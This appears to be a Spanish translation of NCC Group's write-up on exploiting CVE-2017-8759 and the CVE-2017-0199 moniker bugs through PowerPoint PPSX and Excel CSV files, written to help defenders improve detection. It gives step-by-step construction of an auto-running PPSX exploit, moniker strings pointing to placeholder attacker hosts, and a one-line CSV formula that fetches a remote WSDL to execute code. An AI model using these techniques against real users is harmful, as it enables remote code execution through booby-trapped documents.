nccgroup/cve-2017-8759Análisis y explotación de CVE-2017-8759 por NCC Group, junto con refinamientos adicionales.
Este repositorio contiene exploits de muestra para CVE-2017-8759 para Microsoft PowerPoint, junto con una descripción de cómo vulnerabilidades similares fueron, y pueden ser, explotadas usando las mismas técnicas.
El objetivo de publicar este repositorio es destacar técnicas de explotación alternativas que los defensores pueden no conocer actualmente. Al resaltar estas técnicas alternativas, esperamos permitir que los defensores implementen una detección robusta y eviten tanto falsos positivos (en el caso de identificar erróneamente otras explotaciones de moniker como CVE-2017-0199) como falsos negativos (cuando solo se presta atención a las detecciones RTF).
En abril, cuando escuché la noticia de que una nueva vulnerabilidad sin parche estaba siendo explotada en la naturaleza, busqué recrear el exploit para poder crear reglas de detección antes de que la vulnerabilidad se hiciera pública. Sin embargo, en ese momento todo lo que tenía era la descripción de la vulnerabilidad de las publicaciones del blog de FireEye y McAfee. Debido a la falta de detalles públicos, esto es lo que me llevó a terminar explotando la vulnerabilidad usando (lo que resultó ser) un método completamente diferente al utilizado por el exploit "RTF URL Moniker" visto en la naturaleza.
Aproximadamente un mes después, Haifei Li destacó la segunda vulnerabilidad (también conocida como "PPSX Script Moniker") en su charla en SyScan360, que había identificado y reportado en enero de 2017. Esta también fue corregida con el mismo parche de CVE-2017-0199, pero fue explotada (tanto por el autor como, posteriormente, en la naturaleza) utilizando el formato de archivo PPSX. En este punto, aún no tengo conocimiento de ataques en la naturaleza que usaran el bug del moniker URL a través de PPSX; sin embargo, debido a que ambos bugs fueron corregidos bajo el mismo CVE, hubo (y todavía hay) cierta confusión en torno a la detección de estos exploits (más sobre esto después).
Avancemos hasta septiembre de 2017, cuando FireEye descubrió otra vulnerabilidad más que utilizaba el formato RTF en Microsoft Word. Esto me impulsó a revisar mi exploit anterior "PPSX URL Moniker" para investigar si el nuevo bug del "SOAP moniker" también era explotable con la misma técnica PPSX.
Como se mencionó anteriormente, la vulnerabilidad anterior (CVE-2017-0199) era en realidad dos vulnerabilidades separadas, las cuales fueron parcheadas por Microsoft bajo el mismo número de CVE. La primera (también conocida como el bug del "URL moniker") fue explotada usando RTF; sin embargo, la segunda (también conocida como el bug del "script moniker") en realidad utilizó una técnica completamente diferente y fue explotada usando el formato OOXML, específicamente PPSX.
Como también se mencionó anteriormente, la técnica OOXML no es específica de la vulnerabilidad del script moniker y puede usarse para explotar las vulnerabilidades del "URL moniker", "Script moniker" y el nuevo "SOAP moniker".
La explotación en OOXML es bastante sencilla y aprovecha algunos trucos para conseguir que el objeto vulnerable se active automáticamente. Primero cubriré el exploit del URL moniker y luego explicaré cómo podría actualizarse para funcionar con los monikers de script y soap (y potencialmente más en el futuro).
Primero se debe incrustar un enlace a un archivo (denominado StdOleLink u OLE2Link). En mi exploit usé un enlace a un archivo de PowerPoint, como se muestra a continuación. Esto es necesario más adelante para activar el moniker.
Una vez colocado el enlace, la ruta debe modificarse para que contenga la cadena del moniker. En el caso del bug del "URL moniker", esto es tan simple como añadir una URL directamente a un archivo HTA (es decir, "http://attacker.com/evil.hta". Para la versión del Script moniker puedes usar la cadena "script:https://attacker.com/evil.sct". La ruta de archivo del objeto vinculado se almacena en la siguiente ubicación:
ppt\slides\_rels\slide1.xml.rels
Simplemente cambiar esto a una cadena de moniker es suficiente para desencadenar la vulnerabilidad cuando el objeto vinculado se activa. Sin embargo, esto no ocurre automáticamente a menos que se use otro truco.
Para activar automáticamente el objeto, se puede usar lo que se conoce como "OLE Verb". En términos simples, esto es lo que hace que PowerPoint «active» el objeto, llamando al método IMoniker::BindToObject(), lo que resulta en la eventual ejecución de tu código (dependiendo del moniker, se toman diferentes rutas después de esto).
Para usar un OLE Verb, simplemente selecciona el objeto incrustado y ve a:
Animations -> Add Animation -> OLE Action Verbs -> Open
Una vez creada la animación OLE Verb, puedes seleccionar "Start: with previous" para asegurarte de que el objeto se active tan pronto como se inicie la presentación de diapositivas.
En este punto, si eliges guardar el documento como PPTX y abrirlo, se te presentará un aviso para actualizar los enlaces. Esto no es deseable desde un escenario de explotación.
Para evitar esto, simplemente puedes guardar el archivo como un archivo PPSX (presentación de diapositivas de PowerPoint) en su lugar. Esto hará que la presentación se inicie automáticamente al abrir el archivo (y así activar el OLE Verb para ejecutar tu código).
Como se describe en la publicación del blog de FireEye, la vulnerabilidad realmente reside en el framework .NET, no en el propio Office. Esto se debe a un problema de inyección de código al analizar un archivo WSDL que contiene múltiples definiciones de direcciones. Si se inyecta una secuencia CRLF, es posible añadir código arbitrario al archivo c# generado, que posteriormente se compila en un DLL y es cargado por la aplicación de Office.
El bug en sí está presente dentro del método IsValidUrl en la clase WsdlParser de System.Runtime.Remoting. Antes del parche de CVE-2017-8759, este método no verifica los caracteres CRLF y simplemente devuelve la cadena sin sanitizar (después de asegurarse de que la cadena esté correctamente entrecomillada), que luego se escribe en un archivo .cs para su compilación mediante csc.exe. Esto significa que si un atacante pasa una URL que contiene \r\n, podría inyectar código arbitrario en el archivo C# generado. La razón por la que la inyección CRLF funciona es porque, normalmente, cuando se analiza un archivo WSDL que contiene múltiples definiciones de direcciones, el método PrintClientProxy intentará comentar las definiciones posteriores como se muestra a continuación.
IsValidUrl sin parche:
PrintClientProxy:
El problema aquí es que IsValidUrl todavía se llama sobre la URL de la dirección secundaria antes de añadirla a la línea comentada. Si un atacante añade caracteres CRLF en una segunda definición de dirección, cuando el código es analizado por IsValidUrl, puede salir de la línea comentada e inyectar su propio código C#.
Después del parche de CVE-2017-8759, la clase WsdlParser ahora contiene un nuevo método llamado TransliterateString. Ahora, cuando se llama a IsValidUrl, el código primero comprueba si el booleano AppSettings.AllowUnsanitizedWSDLUrls está establecido. Si está establecido a true, el código toma el mismo camino que antes del parche (permitiendo la inyección CRLF). Sin embargo, si está establecido a false, se llama al nuevo método TransliterateString. Este nuevo método simplemente codifica cualquier carácter no alfabético como unicode escapado, garantizando así que los caracteres de nueva línea no puedan ser inyectados.
IsValidUrl con parche:
TransliterateString:
Para demostrar el parche, creé un pequeño harness de prueba en C# e intenté analizar una cadena que contenía caracteres CRLF. La salida de esto se muestra a continuación. Observa que cuando se llama al método parcheado y AllowUnsanitizedWSDLUrls está establecido a false, la cadena ahora está codificada.
Al investigar cómo explotar esta vulnerabilidad creé un harness de prueba para probar la ejecución de código fuera de Office. Usé JScript junto con el método GetObject para esto; sin embargo, podrías usar soapsuds.exe. Esto fue probado con el archivo WSDL de la muestra de malware para investigar cómo funcionaba y confirmar la vulnerabilidad.
Una vez que el exploit funcionaba con GetObject, simplemente modifiqué el archivo de relaciones (rels) como se mostró anteriormente para incluir un soap moniker, con la forma "soap:wsdl=http://attacker.com/evil.whatever".
Después de crear el exploit, lo subí a Virus Total (como había hecho con muestras anteriores) y obtuve algunos resultados sorprendentes. Resultó que solo un motor antivirus lo detectó, y fue identificado falsamente como CVE-2017-0199. Otra muestra que subí también parecía estar etiquetada como CVE-2017-0199. Esto parece comprensible debido a las similitudes que compartía con el/los exploit(s) anterior(es); sin embargo, existe cierta preocupación de que esto pueda llevar a confusión o, en el peor de los casos, a que exploits de moniker recién descubiertos pasen desapercibidos por ser descartados como una vulnerabilidad antigua ya parcheada.
Primero, inicia un servidor web localmente, en la misma carpeta que los archivos del exploit:
python -m SimpleHTTPServer 80
Ahora abre el archivo exploit.ppsx. Si todo va bien, deberías ver a PowerPoint descargar tanto logo.png como w00t.hta desde tu servidor de archivos local, y se ejecutará calc.exe.
Después de publicar sobre el exploit PPSX en Twitter, Jacob Soo se puso en contacto conmigo y me sugirió que intentara explotar la vulnerabilidad en Microsoft Excel. Lo intenté y efectivamente, él tenía razón: pude ejecutar un calc.exe con un solo aviso.
Esto es interesante, como se señaló anteriormente: los archivos CSV (y SLK) no activan el modo protegido. Esto significa que el número de avisos que se le presentan a un usuario cuando se le envía un archivo RTF, PPSX o CSV/SLK desde una ubicación de internet es exactamente el mismo (debido a que los primeros activan la vista protegida). Además, al ser texto plano y generalmente relativamente inocuos, los archivos CSV a menudo atraviesan las defensas perimetrales (como proxies web o filtros de spam de correo electrónico).
Explotar este bug en Excel es tan simple como incluir un enlace al archivo WSDL. Ten en cuenta que en el siguiente ejemplo estamos usando el ProgID "GC" (simplemente porque era el más corto que pude encontrar); sin embargo, este puede ser cualquier ProgID válido para activar el moniker.
=GC|'soap:wsdl=https://git.io/v5DMF '!''''
Guardar la cadena anterior como CSV es suficiente para explotar la vulnerabilidad: ¡lo bastante corta para tuitearla! Además, debido a su brevedad, es más difícil (aunque obviamente no imposible) crear firmas de detección, y por ello considero que merece la pena destacarla para los defensores, de modo que los ataques basados en Excel puedan ser identificados en el futuro.
Microsoft publicó un parche para esta vulnerabilidad el 12/09/2017.
Algunas reglas Yara para variantes de CVE-2017-8759 han sido publicadas por Florian Roth y Security Doggo.
También he creado: